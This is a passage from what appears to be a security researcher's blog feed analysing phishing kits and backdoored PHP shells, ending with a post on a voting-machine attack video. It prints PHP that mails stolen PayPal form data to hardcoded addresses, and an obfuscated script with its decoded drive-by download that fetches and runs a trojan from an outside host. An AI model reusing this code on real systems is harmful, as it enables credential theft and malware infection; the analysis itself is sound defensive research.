&lt;span class="nv"&gt;$T&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;$to&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="si"&gt;$iks&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$subject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;PayPal ReZuLt &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="nv"&gt;$headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;From: Amen&amp;lt;steamhacktn@gmail.com&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="nv"&gt;$headers&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;eMailAdd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="nv"&gt;$headers&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;MIME-Version: 1.0&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 

&lt;span class="nb"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$T&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$subject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$headers&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Location: Processing.htm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;iks&lt;/code&gt; variable is defined in the header.bmp file and corresponds to
the address amen.dj@gmail.com:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;
&lt;span class="nv"&gt;$ik&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;YW1lbi5kakBnbWFpbC5jb20=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$iks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;$ik&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/10/obfuscated-backdoor-or-joke.html</guid><pubDate>Tue, 07 Oct 2008 01:00:00 GMT</pubDate></item><item><title>Backdoored PHP shells</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/09/backdoored-php-shells.html</link><description>&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-php-shells.html
" title="Lost and found on phishing sites: PHP shells"&gt;PHP
shells&lt;/a&gt; are tools that attackers
often use to manage compromised web servers. It turns out, some of these
attackers may be attacked by their own tools.&lt;/p&gt;

&lt;p&gt;In fact, PhishTank report
&lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=505183
" title="PhishTank submission #505183 [phishtank.com]"&gt;505183&lt;/a&gt; shows a nice example of
a backdoor inserted in a PHP shell.
The shell in question is a variant of the w4ck1ng shell. Each page
generated by the shell contains the following &lt;code&gt;script&lt;/code&gt; tag:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;dc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exe&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://reda-vision.com/config.exe&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;run.exe&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;dc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
&lt;span class="nx"&gt;exe&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;sc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;sc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;125&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After decoding the JavaScript code, a classic drive-by download attack
is revealed:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ailian&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;zhan&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;cmdss&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;ailian&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://reda-vision.com/config.exe&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;zhan&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;run.exe&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;cmdss&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cmd.exe&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;    
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;    
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ado&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;object&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ado&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;classid&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;clsid:BD96C556-65A3-11D0-983A-00C04FC29E36&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;xml&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;ado&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CreateObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Microsoft.XMLHTTP&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ln&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Ado&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;lzn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;db.St&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;an&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ream&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;ado&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createobject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ln&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;lzn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;an&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;ailian&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
  &lt;span class="nx"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Send&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
  &lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;responseBody&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;savetofile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;zhan&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;ado&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createobject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Shell.Application&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;zhan&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmdss&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; /c del /S /Q /F &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;zhan&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The config.exe file is
&lt;a href="http://www.virustotal.com/analisis/853586f1f39d66293ae1d9cac3703af5
" title="VirusTotal report [virustotal.com]"&gt;detected&lt;/a&gt; by one third of the 
antivirus tools used by VirusTotal,
and, according to the &lt;a href="http://anubis.iseclab.org/result.php?taskid=61f7878f85fca2c459e526cd683caddc
" title="Anubis report [iseclab.org]"&gt;Anubis
report&lt;/a&gt;, behaves like a
&lt;a href="http://en.wikipedia.org/wiki/Bifrost_(trojan_horse)"&gt;Bifrost&lt;/a&gt;
variant.&lt;/p&gt;
</description><category>malware</category><category>phishing</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/09/backdoored-php-shells.html</guid><pubDate>Sat, 13 Sep 2008 23:55:00 GMT</pubDate></item><item><title>Attacking electronic voting systems: the video</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/09/attacking-electronic-voting-systems-the-video.html</link><description>&lt;p&gt;Last summer, I was a member of the UCSB Computer Security Group that
tested the security of the Sequoia electronic voting system. Our work
was part of the &lt;a href="http://www.cs.ucsb.edu/~marco/projects/evoting-ttbr.html"&gt;Top-To-Bottom Review&lt;/a&gt; of electronic voting machines in
California, ordered by Secretary of State D. Bowen. &lt;/p&gt;

&lt;p&gt;Our task was to detect vulnerabilities in the Sequoia voting
system and implement exploits that would "cause incorrect recording,
tabulation, tallying or reporting of votes" or that would "alter
critical election data such as election definition or system audit
data". &lt;/p&gt;

&lt;p&gt;We designed and implemented a number of these attacks. In particular, we
proved that it is possible to combine several attacks to inject into the
system a virus-like malicious software that automatically
spreads to as many voting machines as possible. We have (at
last!) been able to release a video we prepared that shows what can be
achieved by such a virus.&lt;/p&gt;

&lt;p&gt;The video lasts about 16 minutes: it gives a nice overview of the voting
system and shows the complete life-cycle of the virus (click on the
video to play it).  If you are in a hurry, I recommend to start watching
around minute 12:26 to see that votes can be changed on a VVPAT-enabled
DRE machine and that seals can be bypassed without being detected.&lt;/p&gt;

&lt;p&gt;&lt;object width="480" height="376" 
classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" 
codebase="http://www.apple.com/qtactivex/qtplugin.cab"&gt;
&lt;param name="src" value="data/ucsb_evoting_attack-poster.jpg" /&gt;
&lt;param name="href" value="http://www.cs.ucsb.edu/~marco/data/ucsb_evoting_attack.mov" /&gt;
&lt;param name="target" value="myself" /&gt;
&lt;param name="controller" value="false" /&gt;
&lt;param name="autoplay" value="false" /&gt;
&lt;param name="scale" value="aspect" /&gt;
&lt;embed width="480" height="376" type="video/quicktime"
